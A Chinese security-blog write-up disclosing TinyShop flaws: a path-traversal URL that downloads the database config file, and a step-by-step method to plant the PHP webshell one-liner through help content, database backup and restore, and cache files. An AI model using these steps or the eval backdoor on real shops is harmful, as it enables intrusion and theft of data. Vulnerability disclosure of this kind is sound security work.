當前位置:
首頁 > 新聞 > TinyShop緩存文件獲取WebShell之0day

TinyShop緩存文件獲取WebShell之0day

*

本文原創作者simeon,屬於FreeBuf原創獎勵計劃,禁止轉載


TinyShop是一款電子商務系統(網店系統),適合企業及個人快速構建個性化網上商店。系統是基於Tiny(自主研發)框架開發的,使系統更加的安全、快捷、穩定、高性能。


1.1.1下載及安裝


1.下載地址


http://www.tinyrise.org/down.html


2.安裝


在本地先安裝一個php+mysql的環境,然後將TinyShop壓縮包解壓到網站根目錄,訪問http://localhost/tinyshop/install/index.php根據提示進行設置即可,如圖1所示,需要設置資料庫名稱、密碼和管理員密碼,資料庫表前綴可以使用默認的,也可以自定義設置,後續按照提示進行安裝即可。



圖1安裝TinyShop


3.管理及重要信息

(1)TinyShop後台管理地址http://localhost/tinyshop/index.php?con=admin&act=login,輸入admin和設置的密碼admin888進行登錄。


(2)資料庫管理員表名稱為tiny_manager


(3)資料庫配置文件/protected/config/config.php。


4.TinyShop商城系統的用戶密碼加密方式


(1)查看管理員密碼


打開資料庫中的tiny_manager表,如圖2所示,「dqrvRY*`」為validcode值,密碼值為:96601e27d0bcd9dce06f95e55df40a6c。



圖2管理密碼值


(2)管理員密碼計算方式

以密碼的驗證碼(validcode)為「dqrvRY*`」,密碼明文為「admin888」為例


md5(dqrvRY*`)=96601e27d0bcd9dce06f95e55df40a6c


取前16位「96601e27d0bcd9dc」,和後16位「e06f95e55df40a6c」,與明文密碼組合成登錄密碼「96601e27d0bcd9dc」+「admin」+」e06f95e55df40a6c」,


然後返回「96601e27d0bcd9dcadmin888e06f95e55df40a6c」的32位小寫md5也即資料庫表中的password=md5(96601e27d0bcd9dcadmin888e06f95e55df40a6c)=7c2160f89a2fecff792522553004acb1,如圖3所示,可以通過在線網站https://md5jiami.51240.com/直接查詢其32為md5值。



圖3在線查詢md5密碼


(3)php加密函數



通過分析知道即使tinyshop使用最簡單的123456,獲取的密碼是32+6=38位字元串加密,直接暴力破解的成功率非常低。這也是md5變異加密,增強其安全性的一種實際應用。

1.1.2文件包含漏洞挖掘及利用


1.文件包含漏洞


(1)備份資料庫


登錄後台系統後,單擊「系統設置」-「資料庫管理」-「資料庫備份」全選資料庫後進行備份,成功備份後,在「資料庫還原」-「處理」-「下載」中可以獲取文件下載地址,如圖4所示。其具體地址為:


http://localhost/tinyshop/index.php?con=admin&act=down&back=2017122522_5673_1936.sql


圖4獲取資料庫備份文件下載地址


(2)獲取文件包含漏洞


在資料庫下載url中發現有一個back參數,直接將該參數替換成資料庫配置文件地址../../protected/config/config.php,即可下載,如圖5所示,其exp為:

http://localhost/tinyshop/index.php?con=admin&act=down&back=../../protected/config/config.php,back參數可以換成網站存在的任意文件進行下載,通過下載資料庫配置文件可以獲取資料庫配置信息。



圖5本地文件包含漏洞




1.1.3緩存文件獲取webshell


1. tinyshop v2.4緩存文件分析


對其cache存在的php文件進行分析,其幫助文件對應模塊整理如下:


(1)積分制度、賬戶註冊和購物流程

對應文件夾:cache/593/924/,文件名稱為107.php ,網站訪問地址:


http://192.168.127.130/tinyshop_2.x/cache/593/924/107.php


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=6積分制度


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=3賬戶註冊


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=5購物流程


(2)配送範圍


對應文件夾:cache/325/532/,文件名稱為5862.php ,網站訪問地址:


http://192.168.127.130/tinyshop_2.x/cache/325/532/5862.php


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=7配送範圍


(3)餘額支付

對應文件夾:cache/986/324/,文件名稱為752.php ,網站訪問地址:


http://192.168.127.130/tinyshop_2.x/cache/986/324/752.php


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=8餘額支付


(4)退款說明、售後保障


對應文件夾:cache/118/562/,文件名稱為682.php ,網站訪問地址:


http://192.168.127.130/tinyshop_2.x/cache/118/562/682.php


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=9退款說明


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=13售後保障


(5)聯繫客服、找回密碼、常見問題、用戶註冊協議


對應文件夾:cache/368/501/,文件名稱為4461.php ,網站訪問地址:

http://192.168.127.130/tinyshop_2.x/cache/368/501/4461.php


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=10聯繫客服


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=11找回密碼


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=12常見問題


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=14用戶註冊協議


注意:這裡的模塊在選擇編輯內容後,對應在緩存中生成文件,該文件用於後續webshell的獲取,也就該文件為webshell的實際地址。


2.tinyshopv3.0版本


在tinyshop v3.0起cache中僅僅對

5862.php**

和6827.php

**文件名稱進行了變更

,起具體地址如下:

http://192.168.127.130/tinyshop_3.0/cache/593/924/107.php


http://192.168.127.130/tinyshop_3.0/cache/986/324/752.php


http://192.168.127.130/tinyshop_3.0/cache/368/501/4461.php


http://192.168.127.130/tinyshop_3.0/cache/325/532/

5862.php


http://192.168.127.130/tinyshop_3.0/cache/118/562/

6827.php


3.獲取Webshell方法


(1)單擊cms系統中的「內容管理」-「全部幫助」,單擊任意一條記錄,選擇編輯該記錄,在其內容中添加一句話後門代碼<?php @eval($_POST[cmd]);?>並保存,如圖6所示。



圖6插入一句話後門


(2)備份資料庫中的幫助表


單擊「系統設置」-「資料庫備份」在資料庫表中選擇包含help的表,在本例中為tiny_help的表,如圖7所示,選擇後在資料庫備份中進行備份。



圖7備份tiny_help表


(3)下載備份的資料庫表sql文件


如圖8所示,系統會自動對備份的文件進行命名,選中後單擊處理,將其下載到本地,3.0版本中已經修補了資料庫文件包含這個漏洞。



圖8下載備份的mysql文件


(4)修改mysql文件



圖9修改sql文件中的代碼


(5)上傳sql文件進行資料庫還原


在後台中,單擊「系統設置」-「資料庫還原」-「導入」,選擇已經修改過的sql文件,如圖10所示,選擇「上傳」,文件上傳後會自動還原資料庫。



圖10自動上傳並還原資料庫


(6)清理緩存


單擊「系統設置」-「安全管理」-「清除緩存」,選擇清除所有緩存。


(7)訪問頁面


在瀏覽器中隨機訪問其幫助文件中的列表,例如「用戶註冊協議」的地址為:


http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=14


(8)獲取webshell


對v30版本來說其shell地址為模塊對應文件地址:


http://192.168.127.130/tinyshop_3.0/cache/593/924/107.php


http://192.168.127.130/tinyshop_3.0/cache/986/324/752.php


http://192.168.127.130/tinyshop_3.0/cache/368/501/4461.php


http://192.168.127.130/tinyshop_3.0/cache/325/532/

5862.php


http://192.168.127.130/tinyshop_3.0/cache/118/562/

6827.php


v2.0將前面「tinyshop v2.4緩存文件分析」,也就修改「用戶註冊協議」,則對應shell地址:http://192.168.127.130/tinyshop_2.x/cache/368/501/4461.php


如圖11所示成功獲取wesbhell,後面對全部幫助中的條目進行測試,發現所有輸入都可以獲取webshell,如圖12所示,其ID對應webshell插入代碼的詳細情況。



圖11獲取webshell



圖12ID對應相應的一句話後門


*本文原創作者simeon,屬於FreeBuf原創獎勵計劃,禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

新年大禮包 | 新型Emotet變種重現江湖
ZZCMS v8.2 最新版SQL注入漏洞

TAG:FreeBuf |